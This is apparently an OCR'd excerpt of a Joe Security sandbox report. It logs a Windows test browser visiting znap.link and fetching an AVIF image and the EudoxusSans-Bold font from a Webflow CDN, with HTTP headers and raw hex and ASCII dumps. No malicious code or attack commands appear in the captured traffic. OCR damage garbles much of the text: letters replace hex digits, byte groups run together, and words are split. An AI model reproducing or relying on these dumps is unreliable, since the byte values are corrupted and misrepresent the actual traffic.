Content-Type: image/avif

Content-Length: 991

Connection: close

CF-Ray: 70ab8d85eef19a05-FRA

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=14400

ETag: "cfp-LkQYKkBYQgQbgqJM1DbCg"

Vary: Accept

CF-Cache-Status: HIT

cf-bgj: imgq:85,h2pri

cf-images: internal=ok/- =1 n=418 c=178 v=2022.4.12 |=991
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-content-type-options: nosniff

Server: cloudflare

Data Raw: 00 00 00 18 66 74 79 70 61 76 69 66 00 00 00 00 6d 69 66 31 6d 69 61 66 00 00 00 d2 6d 65 74 61 00 00 00
00 00 00 00 21 68 64 6¢ 72 00 00 00 00 00 00 00 00 70 69 63 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Oe 70
69 74 6d 00 00 00 00 00 01 00 00 00 1e 69 6¢ 6f 63 00 00 00 00 44 00 00 01 00 01 00 00 00 01 00 00 00 f2 00 00 02 ed O
000 00 23 69 69 6e 66 00 00 00 00 00 01 00 00 00 15 69 6e 66 65 02 00 00 00 00 01 00 00 61 76 30 31 00 00 00 00 56
69 70 72 70 00 00 00 38 69 70 63 6f 00 00 00 14 69 73 70 65 00 00 00 00 00 00 00 aa 00 00 00 60 00 00 00 Oc 61 76 31
43 81 3f 00 00 00 00 00 10 70 69 78 69 00 00 00 00 03 08 08 08 00 00 00 16 69 70 6d 61 00 00 00 00 00 00 00 01 00 01
03 01 82 03 00 00 02 f5 6d 64 61 74 12 00 Oa 09 3f dd aa 6f 96 80 86 80 a8

Data Ascii: ftypavifmiflmiafmeta!hdlIrpictpitmilocD#iinfinfeav01Viprp8ipcoispe av1C?pixipmamdat?o

Data Raw: 00 29 86 60 09 14 21 46 8c 47 d3 6a 4e 29 b7 5e 75d9 d9 97 71 39 61 f5 43 19 c8 5a 40 59 e3 dO 7d 84 33 d2
ed f7 29 Oc be cf 3e 4e 0d c2 63 Ob 5d a8 a5 93 4c af f3 89 75 80 4a ea 2a 55 da 28 af 40 3d ae 85 9b 23 77 1f cb 47 57
63 9d 32 bf 60 7a 68 44 90 a3 c1 2f 58 b5 c0 cf b5 73 3¢ 11 3d 02 4d 34 b9 c0 4e 97 58 fe 01 ce e2 4a 65 2d c5 5b f8 Oc
61 3a 5e ed 3c 81 af a3 ¢8 09 ed ae 9c 31 1c fe 5d fe Oc 48 1b be fe c6 bf 49 11 93 ea 68 26 d1 24 el 5b c4 6b 7d df 6e 3f
a6 11 c7 9e d4 a2 fO

Data Ascii: ) IFGjN)*uq9aCZ@Y}3)>Nc]LuJ*U(@=#wGWc2 zhD/Xs<=M4NXJe-[a:*<1]HIh&$[k}n?

A Destination
Destination IP Process
Port

13.225.80.69 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /6026bc921eff07d61a132750/60b2b236e1947af16d829f32_EudoxusSans-Bold.ttf HTTP/1.1
Host: uploads-ssl.webflow.com

Connection: keep-alive

Origin: https://znap.link

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: font

Referer: https://app.znaplink.com/themes/altum/assets/css/custom.css?v=2&init=1652446571
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9
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kBytes

Timestam
P transferred

2022-05-13 12:56:12 UTC 558

2022-05-13 12:56:12 UTC 558

2022-05-13 12:56:12 UTC 561

2022-05-13 12:56:12 UTC 576

2022-05-13 12:56:12 UTC 585

2022-05-13 12:56:12 UTC 588

2022-05-13 12:56:12 UTC 596

2022-05-13 12:56:12 UTC 600

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Content-Type: application/x-font-ttf

Content-Length: 129668

Connection: close

Date: Thu, 12 May 2022 09:36:47 GMT

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, HEAD

Access-Control-Max-Age: 3000

Last-Modified: Sat, 29 May 2021 21:29:28 GMT

ETag: "6002a71168dc53170fb31750e86a0450"
x-amz-server-side-encryption: AES256

Cache-Control: max-age=31536000, must-revalidate

x-amz-version-id: qVoNyoHGwDEIhREuUbMoKAol_anHTxbd
Accept-Ranges: bytes

Server: AmazonS3

Vary: Accept-Encoding,Origin,Access-Control-Request-Headers, Access-Control-Request-Method
X-Cache: Hit from cloudfront

Via: 1.1 ¢7015d60d4f8f2170aaaa75e69e40618.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: FRA2-C2

X-Amz-Cf-1d: XmWW704gsTrz80M_tUR9HmMv20uJHOfsOKqRzsMAE5OIhhVLrBgGd2A==
Age: 98366

Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 fa 7c 00 00 00 08 47 44 45 46 72 a4 72
4 00 00 01 2c 00 00 01 16 47 50 4f 53 d7 44 b8 Oe 00 00 02 44 00 00 31 e0 47 53 55 42 d7 2b 24 28 00 00 34 24 00 00
13 e2 4f 53 2f 32 cd 34 5f 9a 00 00 48 08 00 00 00 60 63 6d 61 70 1a 8f 98 f8 00 00 48 68 00 00 08 ac 63 76 74 20 07 19
22 b7 00 01 eb 18 00 00 00 7e 66 70 67 6d 9e 36 14 d0 00 01 eb 98 00 00 Oe 15 67 61 73 70 00 00 00 10 00 01 eb 10 00
00 00 08 67 6¢ 79 66 8d Oe 80 5e 00 00 51 14 00 01 48 e4 68 65 61 64 1c 25 8d a3 00 01 99 f8 00 00 00 36 68 68 65 61
08 df 07 38 00 01 9a 30 00 00 00 24 68 6d 74 78 8b 80 8 2d 00 01 9a 54 00 00 12 62 6¢ 6f 63 61 14 11 68 9c 00 01 ac
b8 00 00 09 34 6d 61 78 70 06 9d Of 63 00 01 b5 ec 00 00 00 20 6e 61 6d

Data Ascii: DSIG|GDEFT,GPOSDD1GSUB+$(4$0S/24_H cmapHhcvt "~fpgm6gaspglyf*QHhead%6hhea80$hmtx-Thloc
ah4maxpc nam

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 Of 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ff d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
0 00 00 00 00 ff f6 ff f6 ff f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
0 00 00 00 00 ff fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4b 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: K

Data Raw: 45 01 49 01 4d 01 51 01 55 01 59 01 5d 01 61 01 65 01 69 01 6d 01 71 01 75 01 79 01 7d 01 81 01 85 01 89
01 8d 01 91 01 a4 01 a6 01 a8 01 aa 01 ac 01 ae 01 b0 01 b2 01 b4 01 b6 01 b8 01 ba 01 bc 01 be 01 c0 01 c2 01 c4 01
c6 01 ¢8 01 ca 01 cc 01 ce 01 d0 01 d6 01 d9 01 dc 01 df 01 e2 01 e5 01 e8 01 eb 01 ee 01 f1 01 f4 01 7 02 28 02 2b 02
2e 02 31 02 34 02 37 02 3b 02 3e 02 41 02 44 02 47 02 4a 02 4d 02 50 02 53 02 56 02 59 02 5¢ 02 5f 02 62 02 c1 02 c4 0
2¢7 02 ca 02 cd 02 dO 02 d3 02 d6 02 d9 02 dc 02 df 02 e2 02 e5 02 e8 02 eb 02 ee 02 f1 02 f4 02 {7 02 fa 02 fd 03 00 03
03 03 Oe 03 12 03 16 03 1a 03 1e 03 22 03 26 03 2a 03 2e 03 32 00 01 00 85 00 46 00 49 00 4c 00 4f 00 52 00 55 00 58
00 7e 00 80 00 82 00 85 00 c4 00 c6 00 c8 00 ca 00 cc 00 ce 00 dO

Data Ascii: EIMQUY]aeimquy}(+.147;>ADGJIMPSVY\_b"&*.2FILORUX~

Data Raw: b0 35 2b 00 00 ff ff 00 28 ff f4 02 f1 03 e0 00 22 00 47 00 00 01 07 04 62 00 d9 00 ca 00 08 b1 01 01 b0 ca b0
35 2b 00 00 ff ff 00 32 ff f4 02 fa 03 e0 00 22 00 48 00 00 01 07 04 62 00 e0 00 ca 00 08 b1 01 01 b0 ca b0 35 2b 00 00 ff
ff 00 32 ff f4 03 04 03 be 00 22 00 46 00 00 01 07 04 73 00 8d 00 ca 00 08 b1 01 01 b0 ca b0 35 2b 00 00 ff ff 00 28 ff f4
02 f1 03 be 00 22 00 47 00 00 01 07 04 73 00 96 00 ca 00 08 b1 01 01 b0 ca b0 35 2b 00 00 ff ff 00 32 ff f4 02 fa 03 be 00
220048 00 00 01 07 04 73 00 9d 00 ca 00 08 b1 01 01 b0 ca b0 35 2b 00 00 00 01 00 48 00 00 02 96 02 €9 00 Ob 00 21
40 1e 00 01 00 04 03 01 04 67 02 01 00 00 23 4d 05 01 03 03 24 03 4e 1111 1111 1110 06 08 1c 2b 13 33 11 21 11 33
11231121 11 23 48 88 01 3d 89 89 fe c3 88 02 €9

Data Ascii: 5+("Gb5+2"Hb5+2"Fs5+("Gs5+2"Hs5+H! @g#M$N+3!3#!#H=

Data Raw: 02 4e 11 15 14 03 08 19 2b 13 07 35 37 11 33 11 37 15 07 15 21 15 21 48 65 65 88 65 65 01 3f fe 39 01 35 1e
58 1e 01 5¢ fe cc 1e 58 1e €5 78 00 00 00 01 00 48 00 00 03 36 02 €9 00 Oc 00 28 40 25 0a 07 02 03 03 00 01 4c 00 03
00 02 00 03 02 80 01 01 00 00 23 4d 04 01 02 02 24 02 4e 12 12 11 12 10 05 08 1b 2b 13 33 13 13 33 11 23 11 03 23 03
11 23 48 82 f8 f2 82 89 e6 10 e7 88 02 e9 fe b0 01 50 fd 17 01 fa fe ce 01 3c fd fc 00 00 00 ff ff 00 48 ff 1f 03 36 02 e9 00
2200 92 00 00 00 03 04 7c 00 fb 00 00 00 01 00 48 00 00 02 9d 02 €9 00 09 00 1e 40 1b 07 02 02 02 00 01 4c 01 01 00
00 23 4d 03 01 02 02 24 02 4e 12 11 12 10 04 08 1a2b 13 33 01 11 33 11 23 01 11 23 48 6a 01 63 88 6b fe 9e 88 02 €9
fe 22 01 de fd 17 01 e7 fe 19 00 ff ff 00 48 00 00 04 29 02 e9

Data Ascii: N+5737!!Heeee?95X\XxH6(@ %L#MSN+33###HP<HE6"|H@L#MSN+33##Hjck"H)

Data Raw: 01 01 03 61 00 03 03 2a 03 4e 59 40 Oe 00 00 00 21 00 20 24 14 13 23 18 07 08 1b 2b 04 26 35 34 37 26 26
351133111416333236351133111406 0607061514 16 3332 37 17 06 23 01 3c 52 2a 60 74 88 59 46 46 59 88
49 81 52 25 1f 1d 2b 2c 28 40 4c ca 3c 33 34 25 17 92 63 01 df fe 28 47 5a 5a 47 01 d8 fe 21 4e 7d 49 02 15 20 15 19 1c
44 33 00 00 01 00 48 ff 36 02 96 02 €9 00 17 00 59 40 Oa Oe 01 04 03 Of 01 05 04 02 4c 4b b0 27 50 58 40 1c 02 01 00 00
23 4d 00 01 01 03 60 06 01 03 03 24 4d 00 04 04 05 61 00 05 05 28 05 4e 1b 40 19 00 04 00 05 04 05 65 02 01 00 00 23
4d 00 01 01 03 60 06 01 03 03 24 03 4e 59 40 0a 14 2324 111111100708 1d 2b 13331121 11 331123 06 15 14 16
333237 17 06 23 22 26 35 34 37 23 48 88 01 3d 89 ef 3c 1f 1d 2b 2¢

Data Ascii: a*NY@! $#+&547&&5332653327#<R*' tYFFYIR%+,(@L<34%c(GZZG!N}| D3HE6Y @LK'PX@#M $Ma(

N@e#M $NY @#$+3!3#327#"8&54T#H=<+,

Data Raw: 16 31 Oe 0d 06 04 06 00 28 27 02 02 06 1e 01 03 05 1f 01 04 03 04 4c 59 4b b0 15 50 58 40 21 00 00 00 01 61
0001 01 2c 4d 00 06 06 02 61 07 05 02 02 02 24 4d 00 03 03 04 61 00 04 04 28 04 4e 1b 4b b0 27 50 58 40 25 00 00 00
01 61 00 01 01 2c 4d 00 02 02 24 4d 00 06 06 05 61 07 01 05 05 2a 4d 00 03 03 04 61 00 04 04 28 04 4e 1b 40 22 00 03
00 04 03 04 65 00 00 00 01 61 00 01 01 2c 4d 00 02 02 24 4d 00 06 06 05 61 07 01 05 05 2a 05 4e 59 59 40 10 00 00 2e
2c 00 2a 00 29 23 24 14 25 29 08 08 1b 2b 16 26 35 34 36 37 37 35 34 26 23 22 06 07 27 36 36 33 32 16 16 15 11 23 06
1514 16 33 32 37 17 06 23 22 26 35 34 36 37 35 06 23 26 16 33 32 36 35 35 07 06 06 15 8¢ 65 5e 5e a2 37 2d 2a 41 Of
6b 18 80 52 42 67 39 21 46 1f 1d 2b 2c 28 40 4c 40 52 2a 24 40 6a 33 2a

Data Ascii: 1(LYKPX@!a,Ma$Ma(NK'PX@%a,M$Ma*Ma(N@"ea, MSMa*NYY @.,*)#$%)+&54677548#"6632#32
T#'&54675#&32655e M 7-*AkRBg9!F +,(@L@R*$@]3*
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Timestamp transferred Direction
2022-05-13 12:56:12 UTC 612 IN
2022-05-13 12:56:12 UTC 612 IN
2022-05-13 12:56:12 UTC 615 IN
2022-05-13 12:56:12 UTC 621 IN
2022-05-13 12:56:12 UTC 625 IN
2022-05-13 12:56:12 UTC 628 IN
2022-05-13 12:56:12 UTC 631 IN
2022-05-13 12:56:12 UTC 669 IN
2022-05-13 12:56:12 UTC 708 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 03 2e 03 4e 1b 40 1d 00 00 06 01 03 00 03 65 00 05 05 04 5f 00 04 04 23 4d 00 01 01 02 5f 00 02 02 26 01 4e
594010 00 00 13 12 11 10 00 Of 00 Oe 11 13 23 07 08 19 2b 06 27 35 16 33 32 36 35 11 23 3533 11 14 06 23 13 33 15
230d 14 12 13 2b 2e 57 db 6e 60 4a 84 84 de 05 71 03 28 27 01 c7 75 fd ¢4 5¢ 66 03 c¢7 8¢ 00 01 ff bf ff 22 00 c0 02 20
00 0d 00 44 40 0a 02 01 00 01 01 01 02 00 02 4c 4b b0 27 50 58 40 11 00 01 01 26 4d 00 00 00 02 62 03 01 02 02 2e 02
4e 1b 40 Oe 00 00 03 01 02 00 02 66 00 01 01 26 01 4e 59 40 Ob 00 00 00 0d 00 Oc 13 23 04 08 18 2b 06 27 35 16 33 32
36 35113311 14 06 23 2b 16 12 12 2b 2f 83 6e 60 de 05 71 03 28 27 02 3c fd c4 5¢ 66 00 00 00 00 01 ff bf ff 22 00 b3 0
22000 0500 30 4b b0 17 50 58 40 10 00 01 01 26 4d 00 00 00 02

Data Ascii: .N@e_#M_&NY @#+'53265#53#3#+.Wn'Jq('u\f' D@LK'PX@&Mb.N@F&NY @#+'532653#++/n"q('<\f"
OKPX@&M

Data Raw: 03 00 02 4c 4b b0 27 50 58 40 16 00 01 01 02 5f 00 02 02 26 4d 00 00 00 03 61 04 01 03 03 2e 03 4e 1b 40
13 00 00 04 01 03 00 03 65 00 01 01 02 5f 00 02 02 26 01 4e 59 40 Oc 00 00 00 Of 00 Oe 11 13 23 05 08 19 2b 06 27 35
163332363511 2335331114 06 2302 14 12 12 2b 2e 56 da 6e 60 de 05 71 03 28 27 01 c¢7 75 fd c4 5c¢ 66 ff f f bf ff
220139 03 10 00 22 02 1b 00 00 00 03 04 69 ff 47 00 00 ff ff ff b5 ff 22 01 2c 03 10 00 22 02 1c 00 00 00 03 04 69 ff 3a
00 00 ff ff ff ea ff 22 01 63 03 10 00 22 02 1d 00 00 00 03 04 69 ff 71 00 00 00 01 00 3d 00 00 02 35 02 f5 00 Ob 00 24 40
2109 08 05 02 04 02 01 01 4c 00 00 00 25 4d 00 01 01 26 4d 03 01 02 02 24 02 4e 13 12 12 10 04 08 1a 2b 13 33 11 37
3307 13 23 27 07 15 23 3d 83 ce a3 c9 cd 96 99 46 83 02

Data Ascii: LK'PX@_&Ma.N@e_&NY@#+'53265#53#+.Vn q('u\f"9"iG","i:"c"iq=5$@!L%M&MS$N+373##=F

Data Raw: 02 1f 02 20 00 22 02 47 00 00 00 02 04 82 22 00 00 00 ff ff 00 3d 00 00 02 1f 03 15 00 22 02 45 00 00 01 06
04 6f 0d 1e 00 08 b1 01 01 b0 1e b0 35 2b ff ff 00 3d 00 00 02 1f 03 15 00 22 02 46 00 00 01 06 04 6f 12 1e 00 08 b1 01
01 b0 1e b0 35 2b ff ff 00 3d 00 00 02 1f 03 15 00 22 02 47 00 00 01 06 04 6f 0d 1e 00 08 b1 01 01 b0 1e b0 35 2b 00 01
00 36 ff 22 02 18 02 2c 00 1e 00 8e 40 Oe 13 01 01 03 02 01 00 02 01 01 05 00 03 4c 4b b0 15 50 58 40 1c 00 01 01 03
61 04 01 03 03 26 4d 00 02 02 24 4d 00 00 00 05 61 06 01 05 05 2e 05 4e 1b 4b b0 27 50 58 40 20 00 03 03 26 4d 00 01
01 04 61 00 04 04 2c 4d 00 02 02 24 4d 00 00 00 05 61 06 01 05 05 2e 05 4e 1b 40 1d 00 00 06 01 05 00 05 65 00 03 03
26 4d 00 01 01 04 61 00 04 04 2c 4d 00 02 02 24 02 4e 59 59 40 Oe

Data Ascii: "G"="E05+="F05+="G05+6",@LKPX@a&M$Ma.NK'PX@ &Ma,M$Ma.N@e&Ma,M$NYY@

Data Raw: 1c 2b 16 27 37 16 33 32 36 35 34 26 23 22 07 27 37 26 26 27 37 16 16 33 32 36 35 34 26 27 27 26 26 35 34
3636333216 17 07 26 26 23 22 06 15 14 17 17 16 16 15 14 06 07 07 36 33 32 16 15 14 06 23 cc 24 0c 18 26 18 1b 11
10 18 Of 17 Oe 40 5f 15 61 16 49 2c 26 2b 24 1d 59 45 4b 34 5d 3b 4b 72 1a 61 10 42 28 21 27 42 57 45 4c 60 52 04 05 0
a 27 32 4c 47 fb Ob 44 09 11 10 0d Of 05 Ob 6b Ob 4b 38 32 2c 31 1f 1b 17 1f 05 Of 12 57 3b 31 4d 2a 47 3f 32 23 2a 1e 18
2c 0f 10 13 56 3b 44 5a 08 34 01 2e 26 2e 3c 00 ff ff 00 20 ff 5 01 dd 03 10 00 22 02 a3 00 00 00 02 04 69 ca 00 00 00 ff
ff 00 20 fe 88 01 dd 02 2c 00 22 02 a3 00 00 00 02 04 7e 3b 00 00 00 ff ff 00 20 ff f5 01 dd 03 16 00 22 02 a3 00 00 00 02
04 62 3e 00 00 00 ff ff 00 20 ff 1f 01 dd 02 2c 00 22 02

Data Ascii: +'732654&#"7&&'732654&"&&546632&&#"632#$8@_al &+$YEK4];KraB('BWEL 'R'2LGDKkK82,1W;1M*G?
2#*V;DZ4.&.<"i "~ "b> "

Data Raw: 02 14 03 15 00 22 02 c¢1 00 00 01 06 04 6f 0d 1e 00 08 b1 01 01 b0 1e b0 35 2b ff ff 00 32 ff f4 02 14 03 a4 00
22 02 bf 00 00 01 06 04 71 0d 1e 00 08 b1 01 02 b0 1e b0 35 2b ff ff 00 32 00 00 02 14 03 a4 00 22 02 c0 00 00 01 06 04
71 0d 1e 00 08 b1 01 02 b0 1e b0 35 2b ff ff 00 32 ff f4 02 14 03 a4 00 22 02 c1 00 00 01 06 04 71 0d 1e 00 08 b1 01 02
b0 1e b0 35 2b 00 01 00 Ob 00 00 02 2b 02 20 00 06 00 1b 40 18 02 01 02 00 01 4c 01 01 00 00 26 4d 00 02 02 24 02 4e
1112 10 03 08 19 2b 13 33 13 13 33 03 23 Ob 8f 81 81 8f d6 74 02 20 fe 9d 01 63 fd e0 00 00 01 00 Ob 00 00 03 68 02 20
00 Oc 00 21 40 1e 0a 05 02 03 03 00 01 4c 02 01 02 00 00 26 4d 04 01 03 03 24 03 4e 12 11 1212 10 05 08 1b 2b 13 33
13133313 133303230303 23 0b8a 7279 74 78 72 8a bb

Data Ascii: "05+2"q5+2"q5+2"q5++ @L&MS$N+33#t ch |@L&MSN+333##rytxr

Data Raw: 17 2b 12 26 26 35 34 36 36 33 32 16 16 15 14 06 06 23 26 16 33 32 36 35 34 26 23 22 06 15 hc 5e 37 37 5¢
38 38 5d 37 37 5e 37 60 35 2b 2a 35 35 2a 2a 36 01 63 34 5¢ 38 39 5b 34 34 5b 39 39 5b 34 9a 3b 3c 2d 2e 3b 3¢ 2d 00
00 02 00 Ob 00 00 02 6b 02 €9 00 05 00 08 00 49 40 Oc 07 01 02 00 01 4c 03 00 02 02 01 4b 4b b0 2a 50 58 40 11 00 00
00 17 4d 03 01 02 02 01 5f 00 01 01 18 01 4e 1b 40 11 00 00 02 00 85 03 01 02 02 01 5f 00 01 01 18 01 4e 59 40 Ob 06
06 06 08 06 08 12 11 04 07 18 2b 37 13 33 13 15 21 25 03 03 0b d8 b0 d8 fd a0 01 cd 9d 9e 78 02 71 fd 8f 78 78 01 d9 fe
27 00 00 01 00 32 00 00 03 3d 02 f5 00 23 00 29 40 26 21 13 02 00 01 4b 00 04 04 01 61 00 01 01 17 4d 02 01 00 00 03
5f05 01 03 03 18 03 4e 17 27 11 16 26 10 06 07 1c 2b 37 33 26 26 35 34

Data Ascii: +&&546632#8326548#""7788]77/7 5+*55+6c4\89[44[99[4;<-.;<-KI@LKK*PX @M_N@_NY@+73!%XqxX'2
=#)@&!KaM_N'&+738&54

Data Raw: 20 75 70 4b 22 18 17 21 21 17 18 22 95 4c 38 3e 51 4f 3b 22 3¢ 29 97 01 01 20 20 19 19 21 21 19 00 00 00

02 00 1d ff f7 01 c1 02 12 00 Of 00 1b 00 27 40 24 00 03 03 00 61 00 00 00 35 4d 00 02 02 01 61 04 01 01 01 36 01 4e 00
00 19 17 13 11 00 Of 00 Oe 26 05 09 17 2b 16 26 26 35 34 36 36 33 32 16 16 15 14 06 06 23 26 16 33 32 36 35 34 26 23
22 06 15 b1 5f 35 34 60 3e 3e 60 34 34 60 3e 65 35 30 30 36 36 30 30 35 09 44 7a 50 50 7a 43 43 7a 50 4f 7b 44 be 5b 5
b 50 50 5a 59 51 00 00 00 00 01 00 10 00 00 00 e2 02 09 00 05 00 19 40 16 00 00 00 01 5f 00 01 01 33 4d 00 02 02 34
02 4e 11 11 1003 09 19 2b 13 23 35 33 11 23 75 65 d2 6d 01 ae 5b fd f7 00 00 00 01 00 14 00 00 01 7a 02 12 00 18 00
2a 40 27 0b 0a 02 02 00 00 01 03 02 02 4c 00 00 00 01 61 00 01 01 35 4d

Data Ascii: UpK"!I"L8>QO;'<) !I'@$a5MabN&+8&5466324#832654&#"_54'>> 44">e50066005DzPPzCCzPO{D[[PPZY

Q@_3M4N+#53#uem[z*@'La5M

Data Raw: b1 00 01 b0 55 b0 35 2b 00 00 00 01 00 69 ff 56 01 6d 02 €9 00 07 00 1c 40 19 00 02 00 03 02 03 63 00 01 01
00 5f00000023014e 111111100408 1a2b 13211523 1133152169 01 04 80 80 fe fc 02 e9 73 fd 53 73 00 ff ff
00 69 ff ab 01 6d 03 3e 01 06 03 ac 00 55 00 08 b1 00 01 b0 55 b0 35 2b 00 00 00 01 00 33 ff 56 01 37 02 €9 00 07 00 1c
4019 00 00 00 03 00 03 63 00 01 01 02 5f 00 02 02 23 01 4e 1111 11 10 04 08 1a 2b 17 33 11 23 35 21 11 21 33 80 80
01 04 fe fc 37 02 ad 73 fc 6d 00 ff ff 00 33 ff ab 01 37 03 3e 01 06 03 ae 00 55 00 08 b1 00 01 b0 55 b0 35 2b 00 00 00 01
0040 00 62 01 0f 02 €9 00 09 00 13 40 10 00 01 01 00 5f 00 00 00 3b 01 4e 14 13 02 Oa 18 2b 36 35 34 37 33 06 15 14
17 23 40 78 57 62 62 57 ee b7 ba 8a 9a aa af 94 00 00 00 00

Data Ascii: Us+iVm@c_#N+#3lisSsim>UU5+3V7@c_#N+3#5!137sm37>UU5+@b@_;N+65473#@xWbbW

Data Raw: 00 02 03 03 02 57 00 02 02 03 5f 00 03 02 03 4f 59 40 09 11 11 11 11 11 10 06 08 1c 2b 13 21 15 21 17 33 15
2311 33 15 23 51 01 5e fe a2 7a 69 69 69 69 02 10 58 30 54 01 5e 53 00 00 00 00 01 00 6a 01 Oe 01 a5 02 e 00 13 00
6¢ 4b b0 11 50 58 40 29 00 04 03 03 04 70 00 09 00 00 09 71 05 01 03 06 01 02 01 03 02 68 07 01 01 00 00 01 57 07 01
01 01 00 5f 08 01 00 01 00 4f 1b 40 27 00 04 03 04 85 00 09 00 09 86 05 01 03 06 01 02 01 03 02 68 07 01 01 00 00 01 5
707 01 01 01 00 5f 08 01 00 01 00 4f 59 40 Oe 13 12 11 11 11 11 11 11 11 11 10 Oa 08 1f 2b 13 23 35 33 37 23 35 33 37
3307 33 15 23 07 33 15 23 07 23 ac 42 63 1e 81 al 19 56 19 44 64 le 82 a3 19 56 01 54 59 53 58 46 46 58 53 59 46 00
00 00 00 01 00 68 01 37 01 b5 02 b1 00 06 00 06 b3 06 03 01 32 2b 13

Data Ascii: W_OY@+!13#3#Q"ZiliXOTAS|IKPX@)pghW_O@'hW_OY @+#537#53733#3##BcVDdVTYSXFFXSYFh72+
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Timestam
P transferred

2022-05-13 12:56:12 UTC 716

2022-05-13 12:56:12 UTC 718

2022-05-13 12:56:12 UTC 726

2022-05-13 12:56:12 UTC 742

Session ID Source IP
19 192.168.2.5
. kBytes
Timestam
p transferred

2022-05-13 12:56:12 UTC 595

2022-05-13 12:56:12 UTC 804

2022-05-13 12:56:12 UTC 804

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49796

Direction

ouT

Data

Data Raw: 35 97 01 19 fe e7 1c 2b 1e 1d 2b 2a le 1f 2a c3 2b 1e 1d 2b 2a le 1f 2a 02 f4 61 f3 2a 2b 1d 1e 2b 2a 1f 1e 2a
2b 1d 1e 2b 2a 1f 00 00 00 00 02 00 7b 02 93 01 94 03 8e 00 03 00 07 00 23 40 20 04 01 03 00 02 00 03 02 67 00 01 01
00 5f 00 00 00 25 01 4e 04 04 04 07 04 07 12 11 10 05 08 19 2b 13 21 15 21 37 17 23 27 7b 01 19 fe e7 9e 31 72 4b 02
f4 61 fb 70 70 00 00 00 02 00 7b 02 93 01 94 03 8e 00 03 00 07 00 1d 40 1a 00 02 00 03 00 02 03 67 00 01 01 00 5f 00
0000 25 01 4e 11 11 11 10 04 08 1a 2b 13 21 15 21 37 33 07 23 7b 01 19 fe e7 7b 8b 4b 72 02 f4 61 fb 70 00 00 01 00 7
b 02 4e 01 3a 03 2d 00 11 00 2c b1 06 64 44 40 21 08 01 00 01 01 4c 11 10 07 03 00 49 00 01 00 00 01 59 00 01 01 00
61 00 00 01 00 51 23 24 02 08 18 2b b1 06 00 44 12 36 35 34 26 23 22

Data Ascii: 5++**++**a*++**++*{#@ g_%N+!!7#{1rkapp{@g_%N+!!73#{{Krap{N:-,dD@!LIYaQ#$+D654&#"

Data Raw: 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03
6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32 03 6e 00 32
04 ¢5 00 32 02 88 00 48 02 8a 00 41 03 6e 00 32 03 6e 00 32 02 95 00 48 02 97 00 48 02 95 00 48 02 97 00 48 02 95 00
48 02 97 00 48 02 95 00 48 02 97 00 48 02 95 00 48 02 97 00 48 02 95 00 48 02 97 00 48 02 95 00 48 02 97 00 48 02 95
00 48 02 97 00 48 02 87 00 27 02 87 00 27 02 87 00 27 02 87 00 27 02 87 00 27 02 87 00 27 02 87 00 27 02 87 00 27 02
87 00 27 02 87 00 27 02 87 00 27 05 Oe 00 27 03 2e 00 32 02 1e 00 Ob 02 1e 00 Ob 02 1e 00 Ob 02 1e 00 Ob 02 1e 00 Ob
02 1e 00 Ob 02 1e 00 Ob 02 ce 00 40 02 dd 00 48 02 ce 00 40 02 dd 00 48 02

Data Ascii: 2n2n2n2n2n2n2n2n2n2n2n2n2n2n2n2n2n2n22HAn2n2HHHHHHHHHHHHHHHH"" . 2@H@H

Data Raw: 00 66 00 6f 00 6e 00 74 00 20 00 69 00 73 00 20 00 6e 00 61 00 6d 00 65 00 64 00 20 00 61 00 66 00 74 00
65 00 72 00 20 00 74 00 68 00 65 00 20 00 47 00 72 00 65 00 65 00 6b 00 20 00 6d 00 61 00 74 00 68 00 65 00 6d 00 61
00 74 00 69 00 63 00 69 00 61 00 6e 00 20 00 45 00 75 00 64 00 6f 00 78 00 75 00 73 00 20 00 6f 00 66 00 20 00 43 00 6
e 00 69 00 64 00 75 00 73 00 2e 00 20 00 49 00 74 00 20 00 69 00 73 00 20 00 62 00 61 00 73 00 65 00 64 00 20 00 6f
00 6e 00 20 00 2b 00 4a 00 61 00 6b 00 61 00 72 00 74 00 61 00 20 00 53 00 61 00 6e 00 73 00 20 00 62 00 79 00 20 00
74 00 6f 00 6b 00 6f 00 74 00 79 00 70 00 65 00 2e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 74 00 69 00
6a 00 6e 00 64 00 76 00 2e 00 63 00 6f 00 6d 00 54 00 68 00 69 00 73 00

